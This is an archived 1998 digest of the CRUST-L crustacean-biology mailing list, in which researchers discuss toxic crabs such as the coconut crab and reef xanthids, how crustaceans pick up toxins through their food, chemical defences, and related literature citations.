at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Niel Bruce Date: Sat, 25 Apr 1998 14:44:44 +1000 Subject: CRUST-L: Toxic crustaceans A nice ""review"" of toxic crustaceans is: Llewellyn, L & Davie, P., 1987. Crabs and other crustaceans. Pp 127-135. In: 'Toxic Plants and Animals. A Guide for Australia.' Eds. Covacevihc, J, Davie, P. & Pearn, J, Queensland Museum: Brisbane. Pp 504. The ISBN 0 7242 2381 9 Niel L. Bruce 138 Carmody Road, St Lucia, Qld 4067, Australia. Phone: (07) 3217 8054; e-mail: Niel L. Bruce, 138 Carmody Road, St Lucia Qld 4067, Australia Tlf: 07 3217 8054 International +61 7 3217 8054 e-mail: =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Judith Weis Date: Sat, 25 Apr 1998 09:15:48 -0400 (EDT) Subject: Re: CRUST-L: Toxic crustaceans Naturally, it WOULD be in Australia where the few toxic crusties would be!! 1880's: ""There's lots of good fish in the sea"" W.S. Gilbert 1990's: Many fish stocks depleted due to overfishing, habitat loss, and pollution. \\ \\ \\ \\ \\ - - _ - \\ \\ \\ \\ ----\\ - _ - \\ - - ( O \\ _ - -_ __ / - - / -/// _ ______ ___/ /// / Judith S. Weis Department of Biological Sciences Rutgers Univ. Newark NJ 07102 jweis@andromeda.rutgers.edu On Sat, 25 Apr 1998, Niel Bruce wrote: > A nice ""review"" of toxic crustaceans is: > Llewellyn, L & Davie, P., 1987. Crabs and other crustaceans. Pp 127-135. > In: 'Toxic Plants and Animals. A Guide for Australia.' Eds. Covacevihc, J, > Davie, P. & Pearn, J, Queensland Museum: Brisbane. Pp 504. > > The ISBN 0 7242 2381 9 > > > Niel L. Bruce > 138 Carmody Road, St Lucia, Qld 4067, Australia. > Phone: (07) 3217 8054; e-mail: > > Niel L. Bruce, 138 Carmody Road, St Lucia Qld 4067, Australia > > Tlf: 07 3217 8054 International +61 7 3217 8054 > e-mail: > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Thomas trott Date: Sat, 25 Apr 1998 17:43:10 -0400 (EDT) Subject: CRUST-L: toxic crustaceans Under certain circumstances, Birgus can become poisonous if it has been feeding on toxic plants. Reyne, A. 1939. On the food habits of the coconut crab (Birgus latro L.), with notes on its distribution. Arch. Neerland. de Zool. 3:283 - 320. Cameron, J. N. 1981. Brief introduction to the land crabs of the Palau Islands: Stages in the transition to air breathing. J. Exp. Zool. 218: 1 - 5. ********************************************************************** Dr. Thomas J. Trott Boston University Marine Program Marine Biological Laboratory Woods Hole, MA 02543 work:508-548-7145 fax:508-289-7297 email:ttrott@bio.bu.edu ********************************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Sat, 25 Apr 1998 21:41:48 -0500 Subject: Re: CRUST-L: Toxic crustaceans I think it's required by law, in an Immigration Act or something. No taxon can disperse to or evolve in Australia unless a certain percent are either toxic or venomous. Lobbied in by the breweries, I think. Something to ease the mind while you wait to see if you're going to die. Phil >Naturally, it WOULD be in Australia where the few toxic crusties would >be!! > >Judith S. Weis Department of Biological Sciences > Rutgers Univ. Newark NJ 07102 jweis@andromeda.rutgers.edu >> A nice ""review"" of toxic crustaceans is: >> Llewellyn, L & Davie, P., 1987. Crabs and other crustaceans. Pp 127-135. >> In: 'Toxic Plants and Animals. A Guide for Australia.' Eds. Covacevihc, J, >> Davie, P. & Pearn, J, Queensland Museum: Brisbane. Pp 504. >> >> The ISBN 0 7242 2381 9 >> >> >> Niel L. Bruce }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Sat, 25 Apr 1998 21:49:40 -0500 Subject: CRUST-L: toxic crustaceans But is this, and similar reports, just happenstance? The crabs eat poisonous plants, and so become poisonous, or are the crabs actually *selecting* toxic plants to eat in order to acquire the toxics for their own use as defensive chemicals? Unless the toxic crabs are young stages subject to predation by rats, seabirds, and older crabs, I would suspect the former. The crabs eat toxic plants, aren't killed by the experience, and become toxic themselves, ho-hum. Like people and garlic. (Or *married* people and garlic.) Phil >Under certain circumstances, Birgus can become poisonous if it has been >feeding on toxic plants. > >Reyne, A. 1939. On the food habits of the coconut crab (Birgus latro L.), >with notes on its distribution. Arch. Neerland. de Zool. 3:283 - 320. > >Cameron, J. N. 1981. Brief introduction to the land crabs of the Palau >Islands: Stages in the transition to air breathing. J. Exp. Zool. 218: 1 - >5. > > >********************************************************************** >Dr. Thomas J. Trott >Boston University Marine Program >Marine Biological Laboratory >Woods Hole, MA 02543 >work:508-548-7145 >fax:508-289-7297 >email:ttrott@bio.bu.edu > >********************************************************************** > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Curt Fiedler Date: Sat, 25 Apr 1998 17:31:59 -1000 Subject: Re: CRUST-L: toxic crustaceans On Sat, 25 Apr 1998, Philip Oshel wrote: > But is this, and similar reports, just happenstance? The crabs eat > poisonous plants, and so become poisonous, or are the crabs actually > *selecting* toxic plants to eat in order to acquire the toxics for their > own use as defensive chemicals? Actually, there's pretty good circumstantial evidence of this. I don't know if Birgus are eating to avoid predation, but on islands where this family of plants is common, natives will tie up Birgus or put them in a drum for several days to cleanse their systems. There is also a paper testing the toxicity of Birgus tissue fractions to mice, and the hepatopancreas of these crabs was quite poisonous. It wasn't clear which plant was involved. I looked into this literature to prepare a (unfunded) proposal examining the effect of rat poison or Birgus. I recall there was a Holthuis paper on toxic crustaceans too. I'll dig up the bibiography and post it. Rats often eat young crabs, and older crabs often eat rats. It seems that the plant alkaloids involved did not affect the crab much, but can have an effect on vertebrates. - -Curt > > Phil > > >Under certain circumstances, Birgus can become poisonous if it has been > >feeding on toxic plants. > > > >Reyne, A. 1939. On the food habits of the coconut crab (Birgus latro L.), > >with notes on its distribution. Arch. Neerland. de Zool. 3:283 - 320. > > > >Cameron, J. N. 1981. Brief introduction to the land crabs of the Palau > >Islands: Stages in the transition to air breathing. J. Exp. Zool. 218: 1 - > >5. > > > > > >********************************************************************** > >Dr. Thomas J. Trott > >Boston University Marine Program > >Marine Biological Laboratory > >Woods Hole, MA 02543 > >work:508-548-7145 > >fax:508-289-7297 > >email:ttrott@bio.bu.edu > > > >********************************************************************** > > > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > >To (un)subscribe to CRUST-L: > >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > >Archives available at http://www.vims.edu/~jeff/archive.htm > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > > > > }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ > Philip Oshel > PO Box 5037 > Station A > Champaign, IL 61825-5037 > (217) 355-1143 > oshel@shout.net > or poshel@hotmail.com > ***** looking for a job ***** > > > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > G. Curt Fiedler Zoology Department & Hawaii Institute of Marine Biology University of Hawaii at Manoa 2538 The Mall, Edmondson hall Honolulu, Hawaii 96822 Phone: (808)956-4712 Fax: (808)956-9812 http://www2.hawaii.edu/~zoology/graduate/CurtPage.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: oshel@shout.net (Philip Oshel) Date: Sat, 25 Apr 1998 22:42:40 -0500 Subject: Re: CRUST-L: toxic crustaceans Curt, The plant family wasn't mentioned. Or the gingko's not doing its job. Which toxic plants are the crabs eating? If the crabs are just toxic because they're eating toxic plants, and they're not actually selecting the plants for defensive purposes, you'd expect the hepatopancreas to be toxic, and nothing else. If the crabs were selecting toxic plants, I would predict that they would pump toxin into their leg muscles and maybe hemolymph. This would do them some good for defense-sacrifice a leg to the predator, and get away. Just having a poison hepatopancreas won't help much without warning coloration. How much crab cannibalism is there? Phil >Actually, there's pretty good circumstantial evidence of this. I don't >know if Birgus are eating to avoid predation, but on islands where this >family of plants is common, natives will tie up Birgus or put them in a >drum for several days to cleanse their systems. > >There is also a paper testing the toxicity of Birgus tissue fractions to >mice, and the hepatopancreas of these crabs was quite poisonous. It wasn't >clear which plant was involved. > >I looked into this literature to prepare a (unfunded) proposal examining >the effect of rat poison or Birgus. I recall there was a Holthuis paper on >toxic crustaceans too. I'll dig up the bibiography and post it. > >Rats often eat young crabs, and older crabs often eat rats. It seems that >the plant alkaloids involved did not affect the crab much, but can have an >effect on vertebrates. > > >-Curt > > >> >> Phil >> >> >Under certain circumstances, Birgus can become poisonous if it has been >> >feeding on toxic plants. >> > >> >Reyne, A. 1939. On the food habits of the coconut crab (Birgus latro L.), >> >with notes on its distribution. Arch. Neerland. de Zool. 3:283 - 320. >> > >> >Cameron, J. N. 1981. Brief introduction to the land crabs of the Palau >> >Islands: Stages in the transition to air breathing. J. Exp. Zool. 218: 1 - >> >5. >> > >> > >> >********************************************************************** >> >Dr. Thomas J. Trott >> >Boston University Marine Program >> >Marine Biological Laboratory >> >Woods Hole, MA 02543 >> >work:508-548-7145 >> >fax:508-289-7297 >> >email:ttrott@bio.bu.edu >> > >> >********************************************************************** >> > >> >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >> >To (un)subscribe to CRUST-L: >> >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >> >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >> >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >> >Archives available at http://www.vims.edu/~jeff/archive.htm >> >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >> > >> >> }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ >> Philip Oshel >> PO Box 5037 >> Station A >> Champaign, IL 61825-5037 >> (217) 355-1143 >> oshel@shout.net >> or poshel@hotmail.com >> ***** looking for a job ***** >> >> >> >> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >> To (un)subscribe to CRUST-L: >> Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >> To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >> Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >> Archives available at http://www.vims.edu/~jeff/archive.htm >> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >> > >G. Curt Fiedler >Zoology Department & Hawaii Institute of Marine Biology >University of Hawaii at Manoa >2538 The Mall, Edmondson hall >Honolulu, Hawaii 96822 >Phone: (808)956-4712 >Fax: (808)956-9812 > >http://www2.hawaii.edu/~zoology/graduate/CurtPage.html }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 5037 Station A Champaign, IL 61825-5037 (217) 355-1143 oshel@shout.net or poshel@hotmail.com ***** looking for a job ***** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: P.Davie@mailbox.uq.edu.au Date: Mon, 27 Apr 98 11:23:44 +1100 Subject: CRUST-L: Re: Toxic crustaceans In the review that Neil Bruce referred to we recorded 22 species of crabs in 5 families that had toxins in the flesh. Most are Xanthidae, but Portunidae, Grapsidae, Majidae, and Parthenopidae were also represented. Toxins identified include Saxitoxin, Paralytic Shellfish Poisons, Tetrodotoxin, and Palytoxin. Our belief is that all these types of toxin are taken in via the food chain - some seem to be reliably poisonous (such as at least some Demania species), while for most, toxicity varies according to place and probably season. In general we felt that most small coral reef crabs should be treated with suspicion. Grazers are presumably going to be the most likely to pick up toxins, but predators such as Thalamita (Portunidae) also had toxins, so in some cases amplification may occur. I haven't looked at the literature for a while but it seems there are no records of this phenomenon outside the Indo-West Pacific. With so many toxins involved, one would expect this process to be happening on Carribean reefs as well. Has anyone ever looked I wonder? Peter - ---------------------------------------------------- P.J.F. Davie Senior Curator, Crustacea Queensland Museum P.O. Box 3300 South Brisbane. QLD 4101 Australia Ph: 61.7.38407719 Fax: 61.7.38461226 Email: P.Davie@mailbox.uq.edu.au - ---------------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Anna Fitch Date: Mon, 27 Apr 1998 01:15:38 -0800 Subject: CRUST-L: Crusty Stories Hi, Thank you for all the information and leads on claw evolution! I have yet another question. I'm looking for great crustaceans natural history stories, with a real Wow factor! These stories don't have to relate directly to functional morphology or evolution, behavioral stories are great. These are the hook stories to open peoples eyes to the world of Arthropods. I would love to know a few of your favorites off the top of your head. Thanks again for all of the help. Cheers Anna Anna Fitch Sea Studios 810 Cannery Row Monterey, CA 93940 Tel: 408 649-5152 ext.105 Fax: 408 649-1380 email: annafitch@seastudios.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: mthessal@biology.db.uoa.gr Date: Mon, 27 Apr 1998 12:39:09 +0000 Subject: [none] Dear Brent Indeed there is a lot of information on thalassinid larval ecology that is missing! Some hints for larval food independence are given also in - -Nantes et al. 1997. J. Crust. Biol. 17: 497-519 Direct larval development is suspected for C. subterranea in - -Rowden @ Jones 1994. J. mar. biol. Ass. U.K. 74: 623-635. - -Tamaki et al. 1996 J. mar. biol. Ass. U.K. 76:675-689 as well as - -Nantes et al. 1997 summarise larval periods for callianassid species. My opinion is that species with abbreviated development with two or three zoeal stages should exhibit some kind of lecithotrophy-not yet docummented. For example in our experiments with larvae of C. tyrrhena it seems that facultative lecithotrophy is exhibited during larval development and it is more pronounced in Zoea I. Full results of our presentation of 1992 have been submitted for publication- hopfully during this year. As for general ecological aspects of larval thalassinids (tidal exchange in estuaries) I suppose you have already come across - -Johnson & Gonor 1982. Estuar. coastl Shelf Sci. 14:501-516 and - -Emmerson 1983. S. Afr. J. Zool. 18: 326-330. I wish you good luck with thalassinids Best regards Maria - --------------------------------- Dr. Maria Thessalou-Legaki Section of Zoology-Marine Biology Dept. of Biology, Univ. of Athens Panepistimioupolis, GR 157 84 Athens, Greece Tel: 301-7284639;Fax: 301 7284604 e-mail: mthessal@biology.db.uoa.gr - ---------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #138 ***************************** >From owner-crust-l Wed Apr 29 09:28:24 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id JAA27406 for crust-l-digest-outgoing; Wed, 29 Apr 1998 09:25:03 -0400 Date: Wed, 29 Apr 1998 09:25:03 -0400 Message-Id: <199804291325.JAA27406@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #139 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 13 crust-l-digest Wednesday, 29 April 1998 Volume 01 : Number 139 CRUST-L: RE: American species of Macrobrachium CRUST-L: Toxicity of Cadmiun to Artemia Re: CRUST-L: Re: Toxic crustaceans Re: CRUST-L: toxic crusties CRUST-L: Triops longicaudatus CRUST-L: biodiversity and research Re: CRUST-L: Re: Toxic crustaceans CRUST-L: Re: your mail CRUST-L: molecular systematics postdoc (fwd) [none] CRUST-L: Electronic conference on biodiversity research needs CRUST-L: toxic crustaceans (fwd) CRUST-L: first egg batch ---------------------------------------------------------------------- From: John William Short Date: Mon, 27 Apr 1998 19:56:39 +1000 Subject: CRUST-L: RE: American species of Macrobrachium Regarding Omar Perez's question about the number of American = Macrobrachium species: at the end of 1994 (the last time I updated my = inventory of world species) 44 species were known from the Americas. = Sixteen of these occur in Pacific watersheds and 28 in Atlantic = drainages. =20 John W. Short Crustacea Section Queensland Museum PO Box 3300 South Brisbane Qld 4101 Australia =20 Ph: +61 7 3840 7717 Fax: +61 7 3846 1226 (Running Microsoft Outlook on a PC)=20 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ""Pereira Guido - Prof. IZT "" Date: Mon, 27 Apr 1998 06:56:56 -0300 (EDT) Subject: CRUST-L: Toxicity of Cadmiun to Artemia Hi!., We are trying to develop a proyect (my self and a grad student) on the effect of cadmiun on reproducction of Crustaceans, specially the Brine shrimp Artemia. So if you happen to know of any reference please let me know through this media. Thanks in advance, Sincerely Guido Pereira Intituto de Zoologia Tropical, UCV Caracas, Venezuela Email:gpereira@strix.ciens.ucv.ve =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 27 Apr 1998 09:04:16 -0400 (EDT) Subject: Re: CRUST-L: Re: Toxic crustaceans Crustlers, Considering bioamplification, it seems odd that spiny lobster do not accumulate the various toxins as do the SPacific crabs. Any idea on why? CHeers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Edwin Cruz-Rivera Date: Mon, 27 Apr 1998 09:46:07 -0400 (EDT) Subject: Re: CRUST-L: toxic crusties An interesting question... Looking at some of the unpublished examples of chemically defended crustaceans that have been mentioned here makes you wonder if the lack of reports is because we have not looked hard enough. My recollection is that only pea crabs have been claimed to produce chemical defenses of any sort (this is in JEMBE, but I can't remember the year nor the authors). A particular mucus film on the carapace of the crab was argued to serve as defense, and it was only found on one of the larval stages. However, this paper lacked the critical tests that would conclusively demonstrate the presence of a chemical defense. For those larger crabs that have been claimed toxic, the accumulation of dinoflagellate metabolites is often responsible for the reports, most of which deal with medical cases (I did not know about Birgus latro, though). Whether this has an antipredatory effect in nature it is unknown. It certainly would mean death to the crab, since the toxins accumulate inside the body. Unless there is kin selection, this would not be much of an effective strategy. However, if there is sublethal predation, this may work. It is not unusual for a crab to lose a leg or two, and if the predators learn to avoid the animal there may be a net benefit. A similar argument has been made by Rikk Kvitek and coworkers about butter clams which accumulate dinoflagellate toxins, and which suffer from siphon nipping by natural enemies (Kvitekk and Beitler. 1988. J. Mar. Res. 4:629-636; Kvitekk. 1991. Mar. Biol. 111:369-374). I don't know of similar studies conducted on crustaceans. As far as ""behavioral sequestration"", a term often used to describe cases like Philip Oshel and Alistair Poore mention, in which defense is by association, there are a few reports. As Alistair pointed out, the amphipod Pseudoampithoides incurvaria makes a domicile from a chemically defended alga (Dictyota bartrayesii)and gets protection from fish. Interestingly, Barnard and Karaman (1991) mention that both Pseudoampithoides species described show the same behavior, but the chemistry of the interaction has only been studied in the case of P. incurvaria (Hay et al. 1990). McClintock's pteropod abduction by a hyperiid amphipod is similar. However, only a percentage of the amphipods in that paper had pteropods, and I have been told that these amphipods will carry on their backs a number of different things, so the chemical defense could be fortuitous. More recently, a friend of mine has demonstrated that the decorator crab, Libinia dubia, will selectively cover itself with a chemically defended brown seaweed, and that the chemical compound that deters feeding in fish is the one that stimulates decoration. That paper is in press in Ecology. Something similar could be happening with hermit crabs that gain added defense when their shells are covered by hydroids or with anemones, but again, the chemistry remains to be studied. As Philip Oshel notes, it is interesting to see that sequestration, which is so common in other arthropods, appears to be so rare in crustaceans. I wonder if anyone would care to comment on why that may be. Are the anatomical or metabolic adaptations that allow insects to sequester metabolites, missing from crustaceans? Intuitively I would say yes, but I would rather hear it from someone who knows. I doubt we know enough about crustacean physiology for some of the more exotic, non comercially important groups, but we know a fair deal about crustacean physiology for several of the larger species, as well as insects. Any ideas, any takers? Saludos, Edwin Cruz-Rivera Ph (919) 726-6841 Institute of Marine Sciences Fax (919) 726-2426 University of North Carolina, Chapel Hill email: ecruzriv@email.unc.edu 3431 Arendell Street Morehead City, NC 28557 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ 